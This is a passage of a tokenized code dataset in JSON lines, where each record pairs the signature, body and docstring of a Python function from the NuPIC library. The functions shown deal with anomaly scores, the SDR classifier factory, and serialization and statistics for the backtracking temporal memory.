seg[<NUM_LIT:1>:]:<EOL><INDENT>p = int(syn[<NUM_LIT:2>]*<NUM_LIT:10>)<EOL>if p in distPermValues:<EOL><INDENT>distPermValues[p] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>distPermValues[p] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>segObj = self.cells4.getSegment(c, i, segList[segIdx])<EOL>age = self.iterationIdx - segObj.getLastActiveIteration()<EOL>ageBucket = int(age/ageBucketSize)<EOL>distAges[ageBucket][<NUM_LIT:1>] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>return (nSegments, nSynapses, nActiveSegs, nActiveSynapses,distSegSizes, distNSegsPerCell, distPermValues, distAges)<EOL>", "docstring": "Overrides :meth:`nupic.algorithms.backtracking_tm.BacktrackingTM.getSegmentInfo`.", "id": "f17562:c0:m29"}
{"signature": "def computeRawAnomalyScore(activeColumns, prevPredictedColumns):", "body": "nActiveColumns = len(activeColumns)<EOL>if nActiveColumns > <NUM_LIT:0>:<EOL><INDENT>score = numpy.in1d(activeColumns, prevPredictedColumns).sum()<EOL>score = (nActiveColumns - score) / float(nActiveColumns)<EOL><DEDENT>else:<EOL><INDENT>score = <NUM_LIT:0.0><EOL><DEDENT>return score<EOL>", "docstring": "Computes the raw anomaly score.\n\n    The raw anomaly score is the fraction of active columns not predicted.\n\n    :param activeColumns: array of active column indices\n    :param prevPredictedColumns: array of columns indices predicted in prev step\n    :returns: anomaly score 0..1 (float)", "id": "f17563:m0"}
{"signature": "def compute(self, activeColumns, predictedColumns,<EOL>inputValue=None, timestamp=None):", "body": "<EOL>anomalyScore = computeRawAnomalyScore(activeColumns, predictedColumns)<EOL>if self._mode == Anomaly.MODE_PURE:<EOL><INDENT>score = anomalyScore<EOL><DEDENT>elif self._mode == Anomaly.MODE_LIKELIHOOD:<EOL><INDENT>if inputValue is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>probability = self._likelihood.anomalyProbability(<EOL>inputValue, anomalyScore, timestamp)<EOL>score = <NUM_LIT:1> - probability<EOL><DEDENT>elif self._mode == Anomaly.MODE_WEIGHTED:<EOL><INDENT>probability = self._likelihood.anomalyProbability(<EOL>inputValue, anomalyScore, timestamp)<EOL>score = anomalyScore * (<NUM_LIT:1> - probability)<EOL><DEDENT>if self._movingAverage is not None:<EOL><INDENT>score = self._movingAverage.next(score)<EOL><DEDENT>if self._binaryThreshold is not None:<EOL><INDENT>if score >= self._binaryThreshold:<EOL><INDENT>score = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>score = <NUM_LIT:0.0><EOL><DEDENT><DEDENT>return score<EOL>", "docstring": "Compute the anomaly score as the percent of active columns not predicted.\n\n        :param activeColumns: array of active column indices\n        :param predictedColumns: array of columns indices predicted in this step\n                                 (used for anomaly in step T+1)\n        :param inputValue: (optional) value of current input to encoders\n                                      (eg \"cat\" for category encoder)\n                                      (used in anomaly-likelihood)\n        :param timestamp: (optional) date timestamp when the sample occured\n                                     (used in anomaly-likelihood)\n        :returns: the computed anomaly score; float 0..1", "id": "f17563:c0:m1"}
{"signature": "def __setstate__(self, state):", "body": "self.__dict__.update(state)<EOL>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._mode = Anomaly.MODE_PURE<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._movingAverage = None<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self._binaryThreshold = None<EOL><DEDENT>", "docstring": "deserialization", "id": "f17563:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def create(*args, **kwargs):<DEDENT>", "body": "impl = kwargs.pop('<STR_LIT>', None)<EOL>if impl is None:<EOL><INDENT>impl = Configuration.get('<STR_LIT>')<EOL><DEDENT>if impl == '<STR_LIT>':<EOL><INDENT>return SDRClassifier(*args, **kwargs)<EOL><DEDENT>elif impl == '<STR_LIT>':<EOL><INDENT>return FastSDRClassifier(*args, **kwargs)<EOL><DEDENT>elif impl == '<STR_LIT>':<EOL><INDENT>return SDRClassifierDiff(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % impl)<EOL><DEDENT>", "docstring": "Create a SDR classifier factory.\nThe implementation of the SDR Classifier can be specified with\nthe \"implementation\" keyword argument.\n\nThe SDRClassifierFactory uses the implementation as specified in\n `Default NuPIC Configuration <default-config.html>`_.", "id": "f17564:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def read(proto):<DEDENT>", "body": "impl = proto.implementation<EOL>if impl == '<STR_LIT>':<EOL><INDENT>return SDRClassifier.read(proto.sdrClassifier)<EOL><DEDENT>elif impl == '<STR_LIT>':<EOL><INDENT>return FastSDRClassifier.read(proto.sdrClassifier)<EOL><DEDENT>elif impl == '<STR_LIT>':<EOL><INDENT>return SDRClassifierDiff.read(proto.sdrClassifier)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % impl)<EOL><DEDENT>", "docstring": ":param proto: SDRClassifierRegionProto capnproto object", "id": "f17564:c0:m1"}
{"signature": "def _getEphemeralMembers(self):", "body": "return []<EOL>", "docstring": "List of our member variables that we don't need to be saved.", "id": "f17565:c0:m1"}
{"signature": "def _initEphemerals(self):", "body": "<EOL>self.segmentUpdates = {}<EOL>self.resetStats()<EOL>self._prevInfPatterns = []<EOL>self._prevLrnPatterns = []<EOL>stateShape = (self.numberOfCols, self.cellsPerColumn)<EOL>self.lrnActiveState = {}<EOL>self.lrnActiveState[\"<STR_LIT:t>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.lrnActiveState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.lrnPredictedState = {}<EOL>self.lrnPredictedState[\"<STR_LIT:t>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.lrnPredictedState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infActiveState = {}<EOL>self.infActiveState[\"<STR_LIT:t>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infActiveState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infActiveState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infActiveState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infPredictedState = {}<EOL>self.infPredictedState[\"<STR_LIT:t>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infPredictedState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infPredictedState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.infPredictedState[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.cellConfidence = {}<EOL>self.cellConfidence[\"<STR_LIT:t>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.cellConfidence[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.cellConfidence[\"<STR_LIT>\"] = numpy.zeros(stateShape, dtype=\"<STR_LIT>\")<EOL>self.colConfidence = {}<EOL>self.colConfidence[\"<STR_LIT:t>\"] = numpy.zeros(self.numberOfCols, dtype=\"<STR_LIT>\")<EOL>self.colConfidence[\"<STR_LIT>\"] = numpy.zeros(self.numberOfCols, dtype=\"<STR_LIT>\")<EOL>self.colConfidence[\"<STR_LIT>\"] = numpy.zeros(self.numberOfCols,<EOL>dtype=\"<STR_LIT>\")<EOL>", "docstring": "Initialize all ephemeral members after being restored to a pickled state.", "id": "f17565:c0:m2"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>for ephemeralMemberName in self._getEphemeralMembers():<EOL><INDENT>state.pop(ephemeralMemberName, None)<EOL><DEDENT>state['<STR_LIT>'] = self._getRandomState()<EOL>state['<STR_LIT:version>'] = TM_VERSION<EOL>return state<EOL>", "docstring": "@internal\n        Return serializable state.  This function will return a version of the\n        __dict__ with all \"ephemeral\" members stripped out.  \"Ephemeral\" members\n        are defined as those that do not need to be (nor should be) stored\n        in any kind of persistent file (e.g., NuPIC network XML file.)", "id": "f17565:c0:m3"}
{"signature": "def __setstate__(self, state):", "body": "self._setRandomState(state['<STR_LIT>'])<EOL>del state['<STR_LIT>']<EOL>version = state.pop('<STR_LIT:version>')<EOL>assert version == TM_VERSION<EOL>self.__dict__.update(state)<EOL>", "docstring": "@internal\n        Set the state of ourself from a serialized state.", "id": "f17565:c0:m4"}
{"signature": "def write(self, proto):", "body": "proto.version = TM_VERSION<EOL>self._random.write(proto.random)<EOL>proto.numberOfCols = self.numberOfCols<EOL>proto.cellsPerColumn = self.cellsPerColumn<EOL>proto.initialPerm = float(self.initialPerm)<EOL>proto.connectedPerm = float(self.connectedPerm)<EOL>proto.minThreshold = self.minThreshold<EOL>proto.newSynapseCount = self.newSynapseCount<EOL>proto.permanenceInc = float(self.permanenceInc)<EOL>proto.permanenceDec = float(self.permanenceDec)<EOL>proto.permanenceMax = float(self.permanenceMax)<EOL>proto.globalDecay = float(self.globalDecay)<EOL>proto.activationThreshold = self.activationThreshold<EOL>proto.doPooling = self.doPooling<EOL>proto.segUpdateValidDuration = self.segUpdateValidDuration<EOL>proto.burnIn = self.burnIn<EOL>proto.collectStats = self.collectStats<EOL>proto.verbosity = self.verbosity<EOL>proto.pamLength = self.pamLength<EOL>proto.maxAge = self.maxAge<EOL>proto.maxInfBacktrack = self.maxInfBacktrack<EOL>proto.maxLrnBacktrack = self.maxLrnBacktrack<EOL>proto.maxSeqLength = self.maxSeqLength<EOL>proto.maxSegmentsPerCell = self.maxSegmentsPerCell<EOL>proto.maxSynapsesPerSegment = self.maxSynapsesPerSegment<EOL>proto.outputType = self.outputType<EOL>proto.activeColumns = self.activeColumns<EOL>cellListProto = proto.init(\"<STR_LIT>\", len(self.cells))<EOL>for i, columnSegments in enumerate(self.cells):<EOL><INDENT>columnSegmentsProto = cellListProto.init(i, len(columnSegments))<EOL>for j, cellSegments in enumerate(columnSegments):<EOL><INDENT>cellSegmentsProto = columnSegmentsProto.init(j, len(cellSegments))<EOL>for k, segment in enumerate(cellSegments):<EOL><INDENT>segment.write(cellSegmentsProto[k])<EOL><DEDENT><DEDENT><DEDENT>proto.lrnIterationIdx = self.lrnIterationIdx<EOL>proto.iterationIdx = self.iterationIdx<EOL>proto.segID = self.segID<EOL>if self.currentOutput is None:<EOL><INDENT>proto.currentOutput.none = None<EOL><DEDENT>else:<EOL><INDENT>proto.currentOutput.list = self.currentOutput.tolist()<EOL><DEDENT>proto.pamCounter = self.pamCounter<EOL>proto.collectSequenceStats = self.collectSequenceStats<EOL>proto.resetCalled = self.resetCalled<EOL>proto.avgInputDensity = self.avgInputDensity or -<NUM_LIT:1.0><EOL>proto.learnedSeqLength = self.learnedSeqLength<EOL>proto.avgLearnedSeqLength = self.avgLearnedSeqLength<EOL>proto.prevLrnPatterns = self._prevLrnPatterns<EOL>proto.prevInfPatterns = self._prevInfPatterns<EOL>segmentUpdatesListProto = proto.init(\"<STR_LIT>\",<EOL>len(self.segmentUpdates))<EOL>for i, (key, updates) in enumerate(self.segmentUpdates.items()):<EOL><INDENT>cellSegmentUpdatesProto = segmentUpdatesListProto[i]<EOL>cellSegmentUpdatesProto.columnIdx = key[<NUM_LIT:0>]<EOL>cellSegmentUpdatesProto.cellIdx = key[<NUM_LIT:1>]<EOL>segmentUpdatesProto = cellSegmentUpdatesProto.init(\"<STR_LIT>\",<EOL>len(updates))<EOL>for j, (lrnIterationIdx, segmentUpdate) in enumerate(updates):<EOL><INDENT>segmentUpdateWrapperProto = segmentUpdatesProto[j]<EOL>segmentUpdateWrapperProto.lrnIterationIdx = lrnIterationIdx<EOL>segmentUpdate.write(segmentUpdateWrapperProto.segmentUpdate)<EOL><DEDENT><DEDENT>proto.cellConfidenceT = self.cellConfidence[\"<STR_LIT:t>\"].tolist()<EOL>proto.cellConfidenceT1 = self.cellConfidence[\"<STR_LIT>\"].tolist()<EOL>proto.cellConfidenceCandidate = self.cellConfidence[\"<STR_LIT>\"].tolist()<EOL>proto.colConfidenceT = self.colConfidence[\"<STR_LIT:t>\"].tolist()<EOL>proto.colConfidenceT1 = self.colConfidence[\"<STR_LIT>\"].tolist()<EOL>proto.colConfidenceCandidate = self.colConfidence[\"<STR_LIT>\"].tolist()<EOL>proto.lrnActiveStateT = self.lrnActiveState[\"<STR_LIT:t>\"].tolist()<EOL>proto.lrnActiveStateT1 = self.lrnActiveState[\"<STR_LIT>\"].tolist()<EOL>proto.infActiveStateT = self.infActiveState[\"<STR_LIT:t>\"].tolist()<EOL>proto.infActiveStateT1 = self.infActiveState[\"<STR_LIT>\"].tolist()<EOL>proto.infActiveStateBackup = self.infActiveState[\"<STR_LIT>\"].tolist()<EOL>proto.infActiveStateCandidate = self.infActiveState[\"<STR_LIT>\"].tolist()<EOL>proto.lrnPredictedStateT = self.lrnPredictedState[\"<STR_LIT:t>\"].tolist()<EOL>proto.lrnPredictedStateT1 = self.lrnPredictedState[\"<STR_LIT>\"].tolist()<EOL>proto.infPredictedStateT = self.infPredictedState[\"<STR_LIT:t>\"].tolist()<EOL>proto.infPredictedStateT1 = self.infPredictedState[\"<STR_LIT>\"].tolist()<EOL>proto.infPredictedStateBackup = self.infPredictedState[\"<STR_LIT>\"].tolist()<EOL>proto.infPredictedStateCandidate = self.infPredictedState[\"<STR_LIT>\"].tolist()<EOL>proto.consolePrinterVerbosity = self.consolePrinterVerbosity<EOL>", "docstring": "Populate serialization proto instance.\n\n        :param proto: (BacktrackingTMProto) the proto instance to populate", "id": "f17565:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "assert proto.version == TM_VERSION<EOL>obj = object.__new__(cls)<EOL>obj._random = Random()<EOL>obj._random.read(proto.random)<EOL>obj.numberOfCols = int(proto.numberOfCols)<EOL>obj.cellsPerColumn = int(proto.cellsPerColumn)<EOL>obj._numberOfCells = obj.numberOfCols * obj.cellsPerColumn<EOL>obj.initialPerm = numpy.float32(proto.initialPerm)<EOL>obj.connectedPerm = numpy.float32(proto.connectedPerm)<EOL>obj.minThreshold = int(proto.minThreshold)<EOL>obj.newSynapseCount = int(proto.newSynapseCount)<EOL>obj.permanenceInc = numpy.float32(proto.permanenceInc)<EOL>obj.permanenceDec = numpy.float32(proto.permanenceDec)<EOL>obj.permanenceMax = numpy.float32(proto.permanenceMax)<EOL>obj.globalDecay = numpy.float32(proto.globalDecay)<EOL>obj.activationThreshold = int(proto.activationThreshold)<EOL>obj.doPooling = proto.doPooling<EOL>obj.segUpdateValidDuration = int(proto.segUpdateValidDuration)<EOL>obj.burnIn = int(proto.burnIn)<EOL>obj.collectStats = proto.collectStats<EOL>obj.verbosity = int(proto.verbosity)<EOL>obj.pamLength = int(proto.pamLength)<EOL>obj.maxAge = int(proto.maxAge)<EOL>obj.maxInfBacktrack = int(proto.maxInfBacktrack)<EOL>obj.maxLrnBacktrack = int(proto.maxLrnBacktrack)<EOL>obj.maxSeqLength = int(proto.maxSeqLength)<EOL>obj.maxSegmentsPerCell = proto.maxSegmentsPerCell<EOL>obj.maxSynapsesPerSegment = proto.maxSynapsesPerSegment<EOL>obj.outputType = proto.outputType<EOL>obj.activeColumns = [int(col) for col in proto.activeColumns]<EOL>obj.cells = [[] for _ in range(len(proto.cells))]<EOL>for columnSegments, columnSegmentsProto in zip(obj.cells, proto.cells):<EOL><INDENT>columnSegments.extend([[] for _ in range(len(columnSegmentsProto))])<EOL>for cellSegments, cellSegmentsProto in zip(columnSegments,<EOL>columnSegmentsProto):<EOL><INDENT>for segmentProto in cellSegmentsProto:<EOL><INDENT>segment = Segment.read(segmentProto, obj)<EOL>cellSegments.append(segment)<EOL><DEDENT><DEDENT><DEDENT>obj.lrnIterationIdx = int(proto.lrnIterationIdx)<EOL>obj.iterationIdx = int(proto.iterationIdx)<EOL>obj.segID = int(proto.segID)<EOL>obj.pamCounter = int(proto.pamCounter)<EOL>obj.collectSequenceStats = proto.collectSequenceStats<EOL>obj.resetCalled = proto.resetCalled<EOL>avgInputDensity = proto.avgInputDensity<EOL>if avgInputDensity < <NUM_LIT:0.0>:<EOL><INDENT>obj.avgInputDensity = None<EOL><DEDENT>else:<EOL><INDENT>obj.avgInputDensity = avgInputDensity<EOL><DEDENT>obj.learnedSeqLength = int(proto.learnedSeqLength)<EOL>obj.avgLearnedSeqLength = proto.avgLearnedSeqLength<EOL>obj._initEphemerals()<EOL>if proto.currentOutput.which() == \"<STR_LIT:none>\":<EOL><INDENT>obj.currentOutput = None<EOL><DEDENT>else:<EOL><INDENT>obj.currentOutput = numpy.array(proto.currentOutput.list,<EOL>dtype='<STR_LIT>')<EOL><DEDENT>for pattern in proto.prevLrnPatterns:<EOL><INDENT>obj.prevLrnPatterns.append([v for v in pattern])<EOL><DEDENT>for pattern in proto.prevInfPatterns:<EOL><INDENT>obj.prevInfPatterns.append([v for v in pattern])<EOL><DEDENT>for cellWrapperProto in proto.segmentUpdates:<EOL><INDENT>key = (cellWrapperProto.columnIdx, cellWrapperProto.cellIdx)<EOL>value = []<EOL>for updateWrapperProto in cellWrapperProto.segmentUpdates:<EOL><INDENT>segmentUpdate = SegmentUpdate.read(updateWrapperProto.segmentUpdate, obj)<EOL>value.append((int(updateWrapperProto.lrnIterationIdx), segmentUpdate))<EOL><DEDENT>obj.segmentUpdates[key] = value<EOL><DEDENT>numpy.copyto(obj.cellConfidence[\"<STR_LIT:t>\"], proto.cellConfidenceT)<EOL>numpy.copyto(obj.cellConfidence[\"<STR_LIT>\"], proto.cellConfidenceT1)<EOL>numpy.copyto(obj.cellConfidence[\"<STR_LIT>\"],<EOL>proto.cellConfidenceCandidate)<EOL>numpy.copyto(obj.colConfidence[\"<STR_LIT:t>\"], proto.colConfidenceT)<EOL>numpy.copyto(obj.colConfidence[\"<STR_LIT>\"], proto.colConfidenceT1)<EOL>numpy.copyto(obj.colConfidence[\"<STR_LIT>\"], proto.colConfidenceCandidate)<EOL>numpy.copyto(obj.lrnActiveState[\"<STR_LIT:t>\"], proto.lrnActiveStateT)<EOL>numpy.copyto(obj.lrnActiveState[\"<STR_LIT>\"], proto.lrnActiveStateT1)<EOL>numpy.copyto(obj.infActiveState[\"<STR_LIT:t>\"], proto.infActiveStateT)<EOL>numpy.copyto(obj.infActiveState[\"<STR_LIT>\"], proto.infActiveStateT1)<EOL>numpy.copyto(obj.infActiveState[\"<STR_LIT>\"], proto.infActiveStateBackup)<EOL>numpy.copyto(obj.infActiveState[\"<STR_LIT>\"],<EOL>proto.infActiveStateCandidate)<EOL>numpy.copyto(obj.lrnPredictedState[\"<STR_LIT:t>\"], proto.lrnPredictedStateT)<EOL>numpy.copyto(obj.lrnPredictedState[\"<STR_LIT>\"], proto.lrnPredictedStateT1)<EOL>numpy.copyto(obj.infPredictedState[\"<STR_LIT:t>\"], proto.infPredictedStateT)<EOL>numpy.copyto(obj.infPredictedState[\"<STR_LIT>\"], proto.infPredictedStateT1)<EOL>numpy.copyto(obj.infPredictedState[\"<STR_LIT>\"],<EOL>proto.infPredictedStateBackup)<EOL>numpy.copyto(obj.infPredictedState[\"<STR_LIT>\"],<EOL>proto.infPredictedStateCandidate)<EOL>obj.consolePrinterVerbosity = int(proto.consolePrinterVerbosity)<EOL>return obj<EOL>", "docstring": "Deserialize from proto instance.\n\n        :param proto: (BacktrackingTMProto) the proto instance to read from", "id": "f17565:c0:m7"}
{"signature": "def __getattr__(self, name):", "body": "try:<EOL><INDENT>return super(BacktrackingTM, self).__getattr__(name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % name)<EOL><DEDENT>", "docstring": "@internal\n        Patch __getattr__ so that we can catch the first access to 'cells' and load.\n\n        This function is only called when we try to access an attribute that doesn't\n        exist.  We purposely make sure that \"self.cells\" doesn't exist after\n        unpickling so that we'll hit this, then we can load it on the first access.\n\n        If this is called at any other time, it will raise an AttributeError.\n        That's because:\n        - If 'name' is \"cells\", after the first call, self._realCells won't exist\n          so we'll get an implicit AttributeError.\n        - If 'name' isn't \"cells\", I'd expect our super wouldn't have __getattr__,\n          so we'll raise our own Attribute error.  If the super did get __getattr__,\n          we'll just return what it gives us.", "id": "f17565:c0:m8"}
{"signature": "def saveToFile(self, filePath):", "body": "pass<EOL>", "docstring": "Implemented in \n:meth:`nupic.algorithms.backtracking_tm_cpp.BacktrackingTMCPP.saveToFile`.", "id": "f17565:c0:m14"}
{"signature": "def loadFromFile(self, filePath):", "body": "pass<EOL>", "docstring": "Implemented in \n:meth:`nupic.algorithms.backtracking_tm_cpp.BacktrackingTMCPP.loadFromFile`.", "id": "f17565:c0:m15"}
{"signature": "def _getRandomState(self):", "body": "return pickle.dumps(self._random)<EOL>", "docstring": "@internal\n        Return the random number state.\n\n        This is used during unit testing to generate repeatable results.", "id": "f17565:c0:m16"}
{"signature": "def _setRandomState(self, state):", "body": "self._random = pickle.loads(state)<EOL>", "docstring": "@internal Set the random number state.\n\n        This is used during unit testing to generate repeatable results.", "id": "f17565:c0:m17"}
{"signature": "def reset(self,):", "body": "if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>self.lrnActiveState['<STR_LIT>'].fill(<NUM_LIT:0>)<EOL>self.lrnActiveState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.lrnPredictedState['<STR_LIT>'].fill(<NUM_LIT:0>)<EOL>self.lrnPredictedState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.infActiveState['<STR_LIT>'].fill(<NUM_LIT:0>)<EOL>self.infActiveState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.infPredictedState['<STR_LIT>'].fill(<NUM_LIT:0>)<EOL>self.infPredictedState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.cellConfidence['<STR_LIT>'].fill(<NUM_LIT:0>)<EOL>self.cellConfidence['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.segmentUpdates = {}<EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>']   = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = None<EOL>if self.collectSequenceStats:<EOL><INDENT>if self._internalStats['<STR_LIT>'].sum() > <NUM_LIT:0>:<EOL><INDENT>sig = self._internalStats['<STR_LIT>'].copy()<EOL>sig.reshape(self.numberOfCols * self.cellsPerColumn)<EOL>self._internalStats['<STR_LIT>'] = sig<EOL><DEDENT>self._internalStats['<STR_LIT>'].fill(<NUM_LIT:0>)<EOL><DEDENT>self.resetCalled = True<EOL>self._prevInfPatterns = []<EOL>self._prevLrnPatterns = []<EOL>", "docstring": "Reset the state of all cells.\n\nThis is normally used between sequences while training. All internal states\nare reset to 0.", "id": "f17565:c0:m18"}
{"signature": "def resetStats(self):", "body": "self._stats = dict()<EOL>self._internalStats = dict()<EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>']      = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>']     = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>']   = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>']   = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>']   = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = <NUM_LIT:0><EOL>self._internalStats['<STR_LIT>'] = None<EOL>if self.collectSequenceStats:<EOL><INDENT>self._internalStats['<STR_LIT>'] = (<EOL>numpy.zeros((self.numberOfCols, self.cellsPerColumn),<EOL>dtype=\"<STR_LIT>\"))<EOL><DEDENT>", "docstring": "Reset the learning and inference stats. This will usually be called by\nuser code at the start of each inference run (for a particular data set).", "id": "f17565:c0:m19"}
{"signature": "def getStats(self):", "body": "if not self.collectStats:<EOL><INDENT>return None<EOL><DEDENT>self._stats['<STR_LIT>'] = self._internalStats['<STR_LIT>']<EOL>self._stats['<STR_LIT>'] = self._internalStats['<STR_LIT>']<EOL>self._stats['<STR_LIT>'] = self._internalStats['<STR_LIT>']<EOL>self._stats['<STR_LIT>'] = self._internalStats['<STR_LIT>']<EOL>self._stats['<STR_LIT>'] = self._internalStats['<STR_LIT>']<EOL>nPredictions = max(<NUM_LIT:1>, self._stats['<STR_LIT>'])<EOL>self._stats['<STR_LIT>'] = (<EOL>self._internalStats['<STR_LIT>'])<EOL>self._stats['<STR_LIT>'] = (<EOL>self._internalStats['<STR_LIT>'] / nPredictions)<EOL>self._stats['<STR_LIT>'] = (<EOL>self._internalStats['<STR_LIT>'])<EOL>self._stats['<STR_LIT>'] = (<EOL>self._internalStats['<STR_LIT>'] / nPredictions)<EOL>self._stats['<STR_LIT>'] = (<EOL>self._internalStats['<STR_LIT>'])<EOL>self._stats['<STR_LIT>'] = (<EOL>self._internalStats['<STR_LIT>'] / nPredictions)<EOL>self._stats['<STR_LIT>'] = (self._internalStats['<STR_LIT>'] /<EOL>nPredictions)<EOL>self._stats['<STR_LIT>'] = (self._internalStats['<STR_LIT>'] /<EOL>nPredictions)<EOL>self._stats['<STR_LIT>'] = (<EOL>self._internalStats['<STR_LIT>'])<EOL>return self._stats<EOL>", "docstring": "Return the current learning and inference stats. This returns a dict\ncontaining all the learning and inference stats we have collected since the\nlast :meth:`resetStats` call. If :class:`BacktrackingTM` ``collectStats`` \nparameter is False, then None is returned.\n\n:returns: (dict) The following keys are returned in the dict when \n    ``collectStats`` is True:\n\n      - ``nPredictions``: the number of predictions. This is the total \n            number of inferences excluding burn-in and the last inference.\n      - ``curPredictionScore``: the score for predicting the current input\n            (predicted during the previous inference)\n      - ``curMissing``: the number of bits in the current input that were \n            not predicted to be on.\n      - ``curExtra``: the number of bits in the predicted output that are \n            not in the next input\n      - ``predictionScoreTotal``: the sum of every prediction score to date\n      - ``predictionScoreAvg``: ``predictionScoreTotal / nPredictions``\n      - ``pctMissingTotal``: the total number of bits that were missed over \n            all predictions\n      - ``pctMissingAvg``: ``pctMissingTotal / nPredictions``\n      - ``prevSequenceSignature``: signature for the sequence immediately \n            preceding the last reset. 'None' if ``collectSequenceStats`` is \n            False.", "id": "f17565:c0:m20"}
{"signature": "def _updateStatsInferEnd(self, stats, bottomUpNZ, predictedState,<EOL>colConfidence):", "body": "<EOL>if not self.collectStats:<EOL><INDENT>return<EOL><DEDENT>stats['<STR_LIT>'] += <NUM_LIT:1><EOL>(numExtra2, numMissing2, confidences2) = self._checkPrediction(<EOL>patternNZs=[bottomUpNZ], output=predictedState,<EOL>colConfidence=colConfidence)<EOL>predictionScore, positivePredictionScore, negativePredictionScore = (<EOL>confidences2[<NUM_LIT:0>])<EOL>stats['<STR_LIT>'] = float(predictionScore)<EOL>stats['<STR_LIT>'] = <NUM_LIT:1.0> - float(positivePredictionScore)<EOL>stats['<STR_LIT>'] = float(negativePredictionScore)<EOL>stats['<STR_LIT>'] = numMissing2<EOL>stats['<STR_LIT>'] = numExtra2<EOL>if stats['<STR_LIT>'] <= self.burnIn:<EOL><INDENT>return<EOL><DEDENT>stats['<STR_LIT>'] += <NUM_LIT:1><EOL>numExpected = max(<NUM_LIT:1.0>, float(len(bottomUpNZ)))<EOL>stats['<STR_LIT>'] += numMissing2<EOL>stats['<STR_LIT>'] += numExtra2<EOL>stats['<STR_LIT>'] += <NUM_LIT> * numExtra2 / numExpected<EOL>stats['<STR_LIT>'] += <NUM_LIT> * numMissing2 / numExpected<EOL>stats['<STR_LIT>'] += float(predictionScore)<EOL>stats['<STR_LIT>'] += <NUM_LIT:1.0> - float(positivePredictionScore)<EOL>stats['<STR_LIT>'] += float(negativePredictionScore)<EOL>if self.collectSequenceStats:<EOL><INDENT>cc = self.cellConfidence['<STR_LIT>'] * self.infActiveState['<STR_LIT:t>']<EOL>sconf = cc.sum(axis=<NUM_LIT:1>)<EOL>for c in range(self.numberOfCols):<EOL><INDENT>if sconf[c] > <NUM_LIT:0>:<EOL><INDENT>cc[c, :] /= sconf[c]<EOL><DEDENT><DEDENT>self._internalStats['<STR_LIT>'] += cc<EOL><DEDENT>", "docstring": "Called at the end of learning and inference, this routine will update\na number of stats in our _internalStats dictionary, including our computed\nprediction score.\n\n:param stats            internal stats dictionary\n:param bottomUpNZ       list of the active bottom-up inputs\n:param predictedState   The columns we predicted on the last time step (should\n                        match the current bottomUpNZ in the best case)\n:param colConfidence    Column confidences we determined on the last time step", "id": 